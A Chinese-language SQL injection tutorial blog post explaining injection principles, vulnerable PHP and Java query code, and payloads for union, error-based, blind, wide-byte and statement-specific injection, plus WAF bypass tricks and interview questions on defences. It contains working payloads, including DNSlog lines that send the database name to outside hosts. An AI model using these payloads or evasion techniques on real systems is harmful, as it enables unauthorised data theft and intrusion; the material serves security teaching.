SQL注入基础篇

本文旨在结合真实项目案例,以通俗易懂的方式呈现漏洞的核心要点,确保读者在阅读后能够迅速理解并付诸实践。我们将力求用最简洁的语言,让你了解漏洞的特性,让你读完本文后便能轻松上手。

NO.0

目录

01

SQL注入原理分析

02

SQL注入场景分析

03

SQL注入绕过WAF姿势

04

SQL注入常见面试问题

NO.1

SQL注入原理

01

原理:

SQL注入,本质是SQL语句的拼接问题,由插入的Payload,更改了执行的SQL语句,达到攻击目的。

实例:

select username,age,sex from users  # 查询信息select username,age,sex from users union select 1,database(),3 # 插入Payload进行联合查询,导致查询出敏感信息
02

SQL拼接场景:

PHP

// 获取用户输入$user_id = $_GET['user_id'];
// 构建SQL查询$query = "SELECT * FROM users WHERE id = '$user_id'";

JAVA

import java.sql.*;
public class SQLInjectionExample {    public static void main(String[] args) {        String userId = args[0]; // 用户输入        String query = "SELECT * FROM users WHERE id = '" + userId + "'";                try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/database", "user", "password");             Statement stmt = conn.createStatement();             ResultSet rs = stmt.executeQuery(query)) { // 执行SQL语句                        while (rs.next()) {                System.out.println(rs.getString("username"));            }        } catch (SQLException e) {            e.printStackTrace();        }    }}

代码判断方式:

执行的SQL语句存在用户可控参数,并且对于参数未进行预处理和其他过滤校验,则存在SQL注入。

手工挖掘判断:

输入特殊字符'”()和and or等逻辑条件,判断有无回显,有回显(包含报错回显)考虑联合、报错注入方式,没有回显考虑盲注类型,看是否满足等时间差或A/B两种类型返回结果。

实际项目分析:

目前项目中,SQL注入主要在PHP项目,JAVA除了非常老的项目,目前项目中都采用了预编译,多见order by like in场景注入。

NO.2

SQL注入场景

01

常见注入方式分析:

联合注入:

# 条件:有回显select `id`,`user`,`pass` from users union select 1,user(),3

    报错注入:

# 条件:有报错回显and extractvalue(1, (concat(0x7e,(user()),0x7e))  and updatexml(1, (concat(0x7e,(select user()),0x7e)),1)

    布尔盲注:

# 条件: 存在明显的A/B两种结果响应,如:正确执行:返回响应A;错误执行:返回响应Bselect * from security.users where id=’1’ and ascii(user())>100    # and &&  or ||#DnsLog 加速探测select  load_file(concat('\\',(select database()),'.y6ldwi.dnslog.cn/abc'))

    时间盲注:

# 条件: 输入的时间Payload,导致响应时间有明显时间递增特征#花费时间长,注入一个用户名,需要一次次猜测and if(ascii(substr(database(), 1, 1))=104, sleep(5), 1)#DNSlogselect  load_file(concat('\\',(select database()),'.f3d516c0.dnslog.store/abc'))

    宽字节注入:

# GBK 类型的编码时,ASCII>128会解析为中文,起到吞并``的作用uname=-1%99' union select (select username from security.users where id =3),(select password from security.users where id =3)%23&passwd=&submit=submit#%99就是ASCII大于128的值

    白盒分析的场景:

二次编码# 需要源码审计加密的编码方式,通过多重编码的方式,绕过校验机制,导致SQL注入二次注入# 插入的Payload被存储到数据库或其他文件中,再读取拼接到执行的SQL语句时,缺乏完整的参数校验,引起的SQL注入 
02

根据SQL语句类型分析:

    limit注入:

# limit前的SQL语句已完整,故只限于报错和盲注类型select id from users where id=1  order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,(user()),0x3a)))

    order by注入:

# 采用盲注或者报错方式select user from mysql.user order by if(ascii(substr(database(), 1, 1))>104, sleep(5), 1)select user from mysql.user order by updatexml(1, (concat(0x7e,(select user()),0x7e)),1)

    like注入:

# 采用盲注或者报错方式,通过Payload也可以查询所有数据select * from mysql.user where user like '%%'or '1'='1'select * from mysql.user where user like 'root' and if(ascii(substr(database(), 1, 1))>104, sleep(5), 1) -- 'select * from mysql.user where user like 'root' or extractvalue(1,concat(0x7e,(select user()),0x7e))-- '

    in注入:

# 采用盲注或者报错方式select * from mysql.user where user in (1) and extractvalue(1,concat(0x7e,(select user()),0x7e))select * from mysql.user where user in (1 and if(ascii(substr(database(), 1, 1))>104, sleep(5), 1))

    update注入:

# 注入位置,条件判断update users set username = 'test@test.com' WHERE id = 8 and extractvalue(1,concat(0x7e,(select user()),0x7e)); update users set username = 'test@test.com' WHERE id = 8 and if(ascii(substr(database(), 1, 1))>104, sleep(50), 1)

    insert注入:

# 常见注入位置,value的值insert into users(id,username,passwd) values(11,'Test01','' or (select sleep(5)))-- 'insert into users(id,username,passwd) values(5,'Test01',''and extractvalue(1,concat(0x7e,(select user()),0x7e))) -- monkey')

    delete注入:

# 注入位置,条件判断delete from users where id = 11; select extractvalue(1,concat(0x7e,(select user()),0x7e))delete from users where id = 11 and extractvalue(1,concat(0x7e,(select user()),0x7e))delete from users where id = 11 or if(ascii(substr(database(), 1, 1))>104, sleep(1), 1)

NO.3

SQL绕过WAF

01

内联注释绕过WAF:

#当MySQL版本大于传输的5位数字时,+后面会拼接到SQL语句,使用效果如下select username from users where id =1 /*!33333+2*/
#此时版本大于传入的数据,所以实际查询的语句相当于select username from users where id =3 # 1+2
#报错类型效果---是函数则自动添加and运算select * from users where id =1 /*!33333+extractvalue('MONKEY',concat(0x7e,user(),0x7e))*/
#报错结果:1105 - XPATH syntax error'~root@localhost~'
02

其他常见WAF绕过姿势:

# 绕过逗号 -- 多表查询select id,username,passwd from users union select * from (select database()) a join (select version() ) b join (select user()) cselect id,username from users union select * from (select group_concat(column_name) from information_schema.columns where table_name='users') a join (select version() ) b# 绕过空格 -- () /**/ + - .select+id-1+1.from usersselect * from mysql.user where user like 'root'or(extractvalue(1,concat(0x7e,(select(user())),0x7e)))-- 'select * from mysql.user where user like 'root'or/**/extractvalue(1,concat(0x7e,(select/**/user()),0x7e))-- '#关键词函数替换,大小写,双写、编码/*关键词替换and &&  or  ||not !like = <>*/#参数污染?id=1 and id=0xAAAA*[重复A 2000次] uNiOn SeLeCt 1,version(),3 --+

NO.4

常见面试问题

01

SQL注入写文件GetShell的条件?

secure_file_priv != null # 为null时禁止写文件知道具体路径'"符号未被过滤,确保SQL语句执行拥有写权限 # MySQL的运行用户权限过低,将无法对某些目录和文件进行写操作
02

SQL注入那些场景不能使用预编译,应如何防御?

order by * like in 这三种场景,和涉及表、库等关键词的地方不能使用,因为关键词有限,可以采用白名单校验的方式进行防御
03

SQL注入获取MySQL数据库信息的方式?

* information_schema库的schemata表中包含了库的信息information_schema库的tables表包含了库的表信息information_schema库的columns表包含了表的字段信息user() database() version()等方法获取数据库的其他详细信息
04

SQL注入的绕过WAF的方式有哪些?

* 大小写或双写内联注释+ - . () /**/ 替换空格* 编码--URLEncode、ASCII编码宽字节--对采用GBK的场景利用逻辑符号替换关键词--&& ||* 利用其他函数替换特征函数

原创文章,作者:guozi,如若转载,请注明出处:https://www.sudun.com/ask/88713.html

Like (0)
guozi的头像guozi
Previous 2024年6月4日
Next 2024年6月4日

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注